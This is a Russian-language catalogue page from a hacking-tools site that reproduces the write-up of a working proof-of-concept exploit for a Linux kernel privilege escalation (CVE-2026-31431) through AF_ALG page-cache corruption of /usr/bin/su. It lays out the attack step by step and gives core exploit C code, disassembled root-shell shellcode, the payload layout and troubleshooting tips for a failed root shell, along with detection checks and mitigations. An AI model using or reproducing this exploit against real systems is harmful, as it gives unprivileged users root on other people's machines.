Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-31431 — Рабочий proof-of-concept эксплойт для CVE-2026-31431 — локальное повышение привилегий в ядре Linux через повреждение page cache в AF_ALG AEAD, предоставляющее root-оболочку. | Kitploit
Инструменты/GitHubGitHub/wesmar/cve-2026-31431
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияЭксплуатация Бинарных Файлов
GitHubwesmar/cve-2026-31431

CVE-2026-31431

Рабочий proof-of-concept эксплойт для CVE-2026-31431 — локальное повышение привилегий в ядре Linux через повреждение page cache в AF_ALG AEAD, предоставляющее root-оболочку.

Репозиторий
644 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-31431 — Повышение привилегий через AF_ALG

NVD / NIST PoC Download

2026-04-29 — Я публикую этот эксплойт через день после того, как поделился им на форуме MyDigitalLife. Для него не требуется Python; он написан на C и скомпилирован до минимально возможного размера с помощью:

root@kitploit:~
musl-gcc -static -Os -o exploit exploit.c -s

Критическая угроза. Бинарный файл эксплойта скомпилирован без зависимостей и может использоваться для проверки уязвимостей в любой системе Linux.

CVE-2026-31431 — это подтверждённая NIST уязвимость в ядре Linux, которая позволяет непривилегированному локальному пользователю получить root-оболочку за считанные секунды. В связи с публично распространяемым эксплойтом для CVE-2026-31431 я разработал бинарное доказательство концепции (PoC) для оценки подверженности нашей внутренней инфраструктуры. Хотя в некоторых средах использование su ограничено, эта уязвимость особенно критична для общих серверов, поскольку она нацелена на базовое управление памятью ядра. Следовательно, любой SETUID-бинарный файл — включая sudo, passwd, mount или newgrp — может быть использован для запуска эксплойта и получения root-оболочки. Требуются немедленные административные действия по обновлению ядра, поскольку стандартные ограничения пользовательского пространства недостаточны для смягчения этой угрозы. Любая система Linux с непропатченным ядром находится под угрозой.

Мой собственный рабочий эксплойт · Ядро Linux · Криптографический интерфейс AF_ALG (AEAD)

Заменяет /usr/bin/su в кэше страниц ядра, не затрагивая файл на диске

Достаточно локального доступа к оболочке — дополнительные привилегии не требуются

Затрагивает непропатченные дистрибутивы Linux

CVE-2026-31431


📚 Содержание

  • Что это за уязвимость
  • Кто подвержен риску
  • Как работает эксплойт — пошагово
  • Схема атаки
  • Анализ кода эксплойта
  • ELF-полезная нагрузка — технические детали
  • Как проверить, уязвимы ли вы
  • Меры защиты
  • Заметки исследователя
  • Отказ от ответственности

Что это за уязвимость

CVE-2026-31431 — это ошибка в обработке операций scatter-gather I/O и ссылок на кэш страниц в криптографической подсистеме ядра Linux — в частности, в реализации сокетов AF_ALG для алгоритмов AEAD (crypto/af_alg.c, crypto/aead.c).

Что происходит на самом деле

Ядро Linux предоставляет криптографический интерфейс пользовательскому пространству через сокеты AF_ALG. Уязвимость заключается в том, что во время операции расшифровки AEAD ядро некорректно отображает выходные данные расшифровки непосредственно на страницы кэша страниц исходного файла — вместо временного буфера. Таким образом, атакующий может перезаписать содержимое любого файла в памяти, не изменяя его на диске, без привилегий root и не оставляя видимых следов в файловой системе.


Кто подвержен риску


Как работает эксплойт — пошагово

Эксплойт состоит из двух компонентов: вспомогательного скрипта в /tmp/x и цикла повреждения на основе AF_ALG. Ниже приведено точное описание на основе анализа исходного кода:

1. Настройка вспомогательного скрипта

Эксплойт создаёт /tmp/x со следующим содержимым:

root@kitploit:~
#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

Он устанавливает права 0755. Причина: /usr/bin/su удаляет переменные окружения (включая TERM) при запуске. Вспомогательный скрипт восстанавливает их перед запуском настоящей оболочки, обеспечивая работоспособный терминал.

2. Создание ELF-полезной нагрузки

В памяти создаётся минимальный 158-байтовый x86_64 ELF-бинарный файл, содержащий необработанный шеллкод. Затем строка /bin/sh по смещению 150 заменяется на /tmp/x\0 через memcmp/memcpy. Подробности см. в разделе ELF-полезная нагрузка.

3. Открытие /usr/bin/su только для чтения

root@kitploit:~
int su_fd = open("/usr/bin/su", O_RDONLY);

Файл открывается только для чтения — эксплойту не требуются права на запись.

4. Цикл повреждения — 39 итераций по 4 байта

Полезная нагрузка (158 байт) обрабатывается блоками по 4 байта (39 полных блоков). Каждый блок передаётся через corrupt_binary_chunk(), который выполняет:

  • Создание сокета AF_ALG (SOCK_SEQPACKET)
  • Привязку к authencesn(hmac(sha256),cbc(aes)) — составному алгоритму AEAD
  • Установку 72-байтового ключа и размера тега аутентификации 4 байта
  • Принятие операционного сокета (op_sock)
  • Отправку sendmsg с 8-байтовым буфером (4× 'A' + 4 байта полезной нагрузки) и тремя CMSG: ALG_OP_DECRYPT, IV (20 байт), assoclen=8
  • Выполнение splice: su_fd → pipe → op_sock (zero-copy через ядро)
  • Завершение через recv() — именно здесь ядро ошибочно перезаписывает кэш страниц

5. Выполнение

root@kitploit:~
execve("/usr/bin/su", args, NULL);

Ядро загружает /usr/bin/su через кэш страниц — который теперь отравлен. Бит SUID (chmod u+s) сохранён, поэтому ядро выполняет файл от имени root. Шеллкод выполняет setuid(0) → execve("/tmp/x") → интерактивная root-оболочка.


Схема атаки

root@kitploit:~
flowchart TD
    A[Непривилегированный локальный пользователь] --> B["Создаёт вспомогательный скрипт /tmp/x\nchmod 0755"]
    B --> C["Создаёт 158-байтовую ELF-полезную нагрузку\nЗамена: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\nПрава на запись не нужны"]
    D --> E[Цикл: 39 блоков по 4 байта]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: 72B ключ + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: 8B данные + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\nzero-copy через ядро"]
    K --> L[recv → завершение операции AEAD]
    L --> M["ОШИБКА ЯДРА: выходные данные расшифровки\nперезаписывают кэш страниц su_fd"]
    M --> N{Следующий блок?}
    N -->|Да| E
    N -->|Нет| O["execve /usr/bin/su"]
    O --> P["Ядро загружает /usr/bin/su\nиз отравленного кэша страниц"]
    P --> Q["Бит SUID сохранён\nядро выполняет от имени root"]
    Q --> R["Шеллкод: setuid 0 syscall 105"]
    R --> S["execve /tmp/x syscall 59"]
    S --> T[Интерактивная root-оболочка]

Анализ кода эксплойта

Ключевые разделы exploit.c, рассмотренные ниже:

Функция corrupt_binary_chunk()

Сердце эксплойта. Каждый вызов координирует одну полную транзакцию AF_ALG:

root@kitploit:~
static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // Создаёт сокет AF_ALG и привязывает к AEAD authencesn(hmac(sha256),cbc(aes))
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // 72-байтовый ключ + размер тега аутентификации = 4 байта
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // Буфер: 4x 'A' как ассоциированные данные + 4 байта полезной нагрузки
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};

    // 3 CMSG: операция DECRYPT / IV (20B, первый байт 0x10) / assoclen=8
    // sendmsg с MSG_MORE — данные ещё не полны
    sendmsg(op_sock, &msg, MSG_MORE);

    // zero-copy splice: su_fd → pipe → op_sock (offset+4 байта)
    splice(fd, &off_in, pipefd[1], NULL, total_len, 0);
    splice(pipefd[0], NULL, op_sock, NULL, total_len, 0);

    // recv завершает операцию — ядро ошибочно записывает в кэш страниц su_fd здесь
    recv(op_sock, dummy, 8 + offset, 0);
}

Основной цикл

root@kitploit:~
for (size_t i = 0; i < len; i += 4) {
    if (i + 4 > len) break;           // пропускает последние 2 байта (158 % 4 = 2)
    corrupt_binary_chunk(su_fd, i, &payload[i]);
}
// 39 полных блоков × 4 байта = 156 байт применено

ELF-полезная нагрузка — технические детали

Полезная нагрузка — это автономный 158-байтовый x86_64 ELF-бинарный файл с необработанным шеллкодом — без динамического компоновщика и внешних библиотек.

Шеллкод — дизассемблированный

root@kitploit:~
; смещение 120 — точка входа 0x400078
xor  eax, eax          ; eax = 0
xor  edi, edi          ; edi = 0  (uid = 0)
mov  al, 105           ; syscall setuid(0)
syscall

lea  rdi, [rip+0xf]    ; rdi → "/tmp/x\0" (смещение 150)
xor  esi, esi          ; argv = NULL
push 59
pop  rax               ; syscall execve
cdq                    ; rdx = 0 (envp = NULL)
syscall

xor  edi, edi
push 60
pop  rax               ; syscall exit(0)
syscall

; смещение 150
db "/tmp/x", 0, 0      ; (заменено с "/bin/sh\0")

Как проверить, уязвимы ли вы

Шаг 1 — проверьте версию ядра

root@kitploit:~
uname -r

Сравните вывод со списком уязвимых версий, опубликованным NIST: nvd.nist.gov/vuln/detail/CVE-2026-31431

Шаг 2 — проверьте доступность AF_ALG

root@kitploit:~
python3 -c "import socket; s = socket.socket(38, socket.SOCK_SEQPACKET); print('AF_ALG доступен — система может быть уязвима')"

Если команда возвращает [Errno 97] Address family not supported — модуль отключён, и риск значительно ниже.

Шаг 3 — проверьте SUID на /usr/bin/su

root@kitploit:~
ls -la /usr/bin/su

Если бит s присутствует (например, -rwsr-xr-x) — /usr/bin/su имеет установленный SUID и является вектором атаки.


Меры защиты

Временное решение (до доступности патча ядра)

root@kitploit:~
# Выгрузите модуль AF_ALG, если он не нужен
sudo modprobe -r af_alg 2>/dev/null || echo "Модуль встроен в ядро — выгрузить невозможно"

# Альтернатива — временно удалите SUID
sudo chmod u-s /usr/bin/su

Заметки исследователя

Этот раздел предназначен для исследователей безопасности, анализирующих уязвимость в изолированной среде.

socket() или bind() завершаются с ошибкой

Симптом: perror("socket") или perror("bind") вызывает выход.

Причины:

  1. Ядро не поддерживает AF_ALG или алгоритм authencesn — проверьте: cat /proc/crypto | grep authencesn
  2. Загрузите необходимые модули: sudo modprobe hmac sha256 cbc aead authencesn
  3. AppArmor/SELinux блокирует создание сокета AF_ALG — проверьте журналы: dmesg | tail -20

splice() возвращает EPERM / EINVAL

Симптом: Операция splice отклонена ядром.

Причины:

  1. Убедитесь, что su_fd указывает на обычный файл, а не на символьную ссылку или устройство
  2. Проверьте dmesg на наличие записей аудита, блокирующих zero-copy в криптографические сокеты
  3. Убедитесь, что LSM не перехватывает операцию

execve запускает обычную пользовательскую оболочку

Симптом: Нет приглашения root; id показывает исходный UID.

Причины:

  1. У /usr/bin/su отсутствует бит SUID — ls -la /usr/bin/su, бит s должен быть виден
  2. Кэш страниц мог быть сброшен до execve — добавьте sync или уменьшите задержку цикла
  3. Система имеет патч для CVE-2026-31431 — проверьте версию ядра

/tmp/x не найден или отсутствует TERM

Симптом: Оболочка запускается, но отображение терминала нарушено.

Причины:

  1. Убедитесь, что /tmp доступен для записи и не смонтирован с noexec
  2. /tmp/x должен иметь права 0755 — проверьте: ls -la /tmp/x
  3. Если execve("/tmp/x") завершается ошибкой — шеллкод можно перепатчить для использования /bin/sh напрямую

Отказ от ответственности

ПРЕДУПРЕЖДЕНИЕ: Этот документ опубликован исключительно в информационных, образовательных и защитных целях. Он описывает публично известную угрозу, выявленную NIST и сообщённую сообществом специалистов по безопасности. Запуск эксплойта на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, может нарушать действующее законодательство и повлечь уголовную ответственность. Тестируйте только в изолированных лабораторных средах.

Все товарные знаки принадлежат их соответствующим владельцам. Linux и связанные с ним знаки являются товарными знаками Linux Foundation.


Последнее обновление: 2026-04-29

Скачать инструмент
СвойствоЗначение
ИдентификаторCVE-2026-31431
СсылкаNIST NVD
ТипЛокальное повышение привилегий (LPE)
КомпонентЯдро Linux — AF_ALG / AEAD (authencesn)
Требуемый доступНепривилегированный локальный пользователь
ВоздействиеИнтерактивная root-оболочка
Статус эксплойтаРабочее PoC, публично доступное на GitHub
ПостоянствоНет — изменение существует только в ОЗУ; перезагрузка восстанавливает исходное состояние
СистемаСтатус
Ubuntu 24.04 (физический сервер / ВМ)⚠️ Уязвима на непропатченном ядре
Debian, Fedora, Arch на непропатченном ядре⚠️ Уязвимы
Дистрибутивы с CONFIG_SECURITY_LOCKDOWN_LSM✅ Вероятно, защищены
Системы с nosuid или ProtectSUID (systemd)✅ Защищены
Системы с AppArmor/SELinux, блокирующими AF_ALG✅ Защищены
macOS, Windows (нативно)✅ Не затронуты
ПолеДетали
Общий размер158 байт
Заголовок ELF120 байт (e_type=2 EXEC, e_machine=62 x86_64)
Точка входа0x00400078 = смещение 120 (сразу после заголовка)
Шеллкод30 байт (смещения 120–149)
Целевая строка8 байт по смещению 150 (/bin/sh\0 → заменяется на /tmp/x\0)
Блоки по 4 байта39 полных (156 байт); последние 2 байта пропускаются
МераКак применитьЭффективность
Обновление ядраsudo apt update && sudo apt upgrade + перезагрузка✅ Полная (когда доступен патч)
Блокировка модуля AF_ALGecho "install af_alg /bin/false" >> /etc/modprobe.d/blacklist.conf✅ Блокирует вектор атаки
Удаление SUID с susudo chmod u-s /usr/bin/su✅ Блокирует этот эксплойт (примечание: su перестанет работать)
Монтирование /tmp с noexecИзмените /etc/fstab: tmpfs /tmp tmpfs noexec,nosuid 0 0⚠️ Частичная — блокирует /tmp/x, эксплойт может использовать другой путь
AppArmor / SELinuxПрофиль, блокирующий AF_ALG socket для непривилегированных пользователей✅ Эффективно при правильной конфигурации